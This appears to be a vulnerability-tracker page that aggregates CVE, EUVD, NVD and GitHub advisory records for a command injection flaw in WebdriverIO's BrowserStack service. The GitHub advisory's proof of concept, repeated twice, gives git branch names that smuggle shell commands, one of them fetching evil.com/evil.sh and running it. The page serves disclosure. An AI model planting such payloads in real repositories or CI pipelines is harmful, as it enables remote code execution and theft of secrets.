WebdriverIO has Command Injection in the BrowserStack Service
cve-program · CVE-2026-25244
PublishedWebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.
Read the publisher's advisoryeuvd · EUVD-2026-30805
PublishedWebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.
Read the publisher's advisorynvd · CVE-2026-25244
PublishedWebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.
Read the publisher's advisoryosv · GHSA-5c46-x3qw-q7j7
Published### Summary A command injection vulnerability exists in `@wdio/browserstack-service` that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ ### Vulnerable Code **File**: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204 ### Root Cause User-controlled git branch names are directly interpolated into `execSync()` calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches. ``` git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED" ``` ### Attack Vector 1. Attacker creates a malicious git repository with a branch name containing command injection payload 2. Attacker configures WebdriverIO to use this repository via `testOrchestrationOptions.runSmartSelection.source`. if `source` is not provided it takes current directory as `source`. 3. When `getGitMetadataForAISelection()` executes, it extracts the malicious branch name 4. Branch name is interpolated into shell commands without sanitization 5. Shell interprets special characters and executes attacker's commands ### PoC ### Step 1: Create Malicious Repository Branch ``` git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" ``` ### Step 2: Configure WebdriverIO ```javascript // wdio.conf.js export const config = { services: [ ['browserstack', { user: process.env.BROWSERSTACK_USERNAME, key: process.env.BROWSERSTACK_ACCESS_KEY, testOrchestrationOptions: { runSmartSelection: { enabled: true, source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory. } } }] ], // ... rest of config } ``` ### Step 3: Run Tests ```bash npm run wdio ``` ### Step 4: Verify RCE ```bash # Check if file was created (proof of RCE) ls -la /tmp/pwned.txt ``` ### Impact - **Remote Code Execution** on CI/CD servers or developer machines - **Information Disclosure** (environment variables, secrets, credentials) - **Data Exfiltration** (source code, SSH keys, configuration files) - **System Compromise** (backdoor installation, lateral movement) - **Supply Chain Attack** (modify build artifacts)
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
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cve-program · CVE-2026-25244
PublishedWebdriverIO has Command Injection in the BrowserStack Service
WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.
- Source published
- 18 May 2026 20:31:14 UTC
- Source modified
- 23 Jul 2026 12:07:59 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
euvd · EUVD-2026-30805
PublishedWebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orches…
WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: May 18, 2026, 8:31:14 PM
dateUpdated: Jul 23, 2026, 12:07:59 PM
- Source published
- May 18, 2026, 8:31:14 PM (timezone not stated)
- Source modified
- Jul 23, 2026, 12:07:59 PM (timezone not stated)
- Saved here
- 15 Nov 2026 07:40:31 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvd · CVE-2026-25244
PublishedWebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orches…
WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Modified
Weakness classifications: CWE-78
Original publisher date fields
published: 2026-05-18T21:16:39.547
lastModified: 2026-07-24T13:10:00.223
1 source CPE criteria · context only
- cpe:2.3:a:openjsf:webdriverio:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 18 May 2026 21:16:39 UTC
- Source modified
- 24 Jul 2026 13:10:00 UTC
- Saved here
- 25 Oct 2026 06:17:16 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 8.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
osv · GHSA-5c46-x3qw-q7j7
PublishedWebdriverIO BrowserStack Service has a Command Injection issue
### Summary A command injection vulnerability exists in `@wdio/browserstack-service` that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ ### Vulnerable Code **File**: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204 ### Root Cause User-controlled git branch names are directly interpolated into `execSync()` calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches. ``` git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED" ``` ### Attack Vector 1. Attacker creates a malicious git repository with a branch name containing command injection payload 2. Attacker configures WebdriverIO to use this repository via `testOrchestrationOptions.runSmartSelection.source`. if `source` is not provided it takes current directory as `source`. 3. When `getGitMetadataForAISelection()` executes, it extracts the malicious branch name 4. Branch name is interpolated into shell commands without sanitization 5. Shell interprets special characters and executes attacker's commands ### PoC ### Step 1: Create Malicious Repository Branch ``` git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" ``` ### Step 2: Configure WebdriverIO ```javascript // wdio.conf.js export const config = { services: [ ['browserstack', { user: process.env.BROWSERSTACK_USERNAME, key: process.env.BROWSERSTACK_ACCESS_KEY, testOrchestrationOptions: { runSmartSelection: { enabled: true, source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory. } } }] ], // ... rest of config } ``` ### Step 3: Run Tests ```bash npm run wdio ``` ### Step 4: Verify RCE ```bash # Check if file was created (proof of RCE) ls -la /tmp/pwned.txt ``` ### Impact - **Remote Code Execution** on CI/CD servers or developer machines - **Information Disclosure** (environment variables, secrets, credentials) - **Data Exfiltration** (source code, SSH keys, configuration files) - **System Compromise** (backdoor installation, lateral movement) - **Supply Chain Attack** (modify build artifacts)
- Source published
- 11 May 2026 17:53:46 UTC
- Source modified
- 10 Sep 2026 03:51:04 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Publisher rating · CRITICAL